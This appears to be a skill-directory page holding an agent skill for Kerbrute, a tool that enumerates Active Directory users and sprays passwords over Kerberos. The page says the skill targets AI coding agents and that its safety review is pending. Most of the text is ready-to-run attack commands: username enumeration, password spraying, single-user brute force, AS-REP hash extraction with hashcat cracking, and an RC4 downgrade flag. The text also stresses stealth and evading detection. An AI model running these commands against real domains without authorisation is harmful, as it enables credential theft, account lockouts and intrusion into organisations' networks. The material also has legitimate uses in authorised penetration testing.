# Kerbrute

> Auth/lab ref: Kerberos-based user enumeration and password spraying tool for Active Directory.

- Skill: `aeondave/kerbrute` (Agent Skill)
- Install (CLI): `npx skillmds@latest add aeondave/kerbrute`
- Raw SKILL.md: https://api.skillmd.com/api/skills/aeondave/kerbrute/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: AeonDave (https://skillmd.com/u/aeondave)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/aeondave/kerbrute

---


# Kerbrute

Fast Kerberos user enumeration and password spraying — leverages Kerberos pre-auth errors for stealthy enumeration.

## Quick Start

```bash
# Enumerate valid users
kerbrute userenum -d domain.local --dc dc.domain.local users.txt

# Password spray
kerbrute passwordspray -d domain.local --dc dc.domain.local users.txt "Password123"

# Brute-force single user
kerbrute bruteuser -d domain.local --dc dc.domain.local passwords.txt john.doe
```

## Sub-commands

| Command | Description |
|---------|-------------|
| `userenum` | Enumerate valid usernames via Kerberos pre-auth |
| `passwordspray` | Spray a single password against many users |
| `bruteuser` | Brute-force a single user's password |
| `bruteforce` | Brute-force user\:password pairs from file |

## Core Flags

| Flag | Description |
|------|-------------|
| `-d <domain>` | Target domain (e.g., `domain.local`) |
| `--dc <dc>` | Domain controller IP or hostname |
| `-t <n>` | Threads (default 10) |
| `-o <file>` | Output valid accounts to file |
| `--hash-file <file>` | Output found hashes to file (AS-REP roasting) |
| `--downgrade` | Force RC4 (weaker) encryption |
| `-v` | Verbose |
| `--safe` | Lock out protection (stop at 3 failures per user) |
| `--delay <ms>` | Delay between requests (milliseconds) |

## Common Workflows

```bash
# User enumeration from a username list
kerbrute userenum -d corp.local --dc 10.10.10.1 usernames.txt -o valid_users.txt -v

# Generate usernames from a name list first
# e.g., john.doe, jdoe, johnd, etc.

# Safe password spray (avoid lockouts)
kerbrute passwordspray -d corp.local --dc 10.10.10.1 valid_users.txt "Spring2024!" \
  --safe --delay 1000

# Get AS-REP hashes for users without pre-auth (then crack offline)
kerbrute userenum -d corp.local --dc 10.10.10.1 users.txt --hash-file asrep_hashes.txt
# Crack with hashcat: hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt

# Combined spray + extract
kerbrute bruteforce -d corp.local --dc 10.10.10.1 user_pass_pairs.txt
```

## Detection

Kerbrute generates **KDC_ERR_C_PRINCIPAL_UNKNOWN** errors for invalid users (event 4768 not generated). Valid user hits produce **KDC_ERR_PREAUTH_FAILED** (logged as 4771). Much stealthier than LDAP enumeration.

## Resources

| File | When to load |
|------|--------------|
| `references/attacks.md` | Kerberos attack chain (AS-REP roasting, Kerberoasting), username generation, detection evasion |

## Structuring This Skill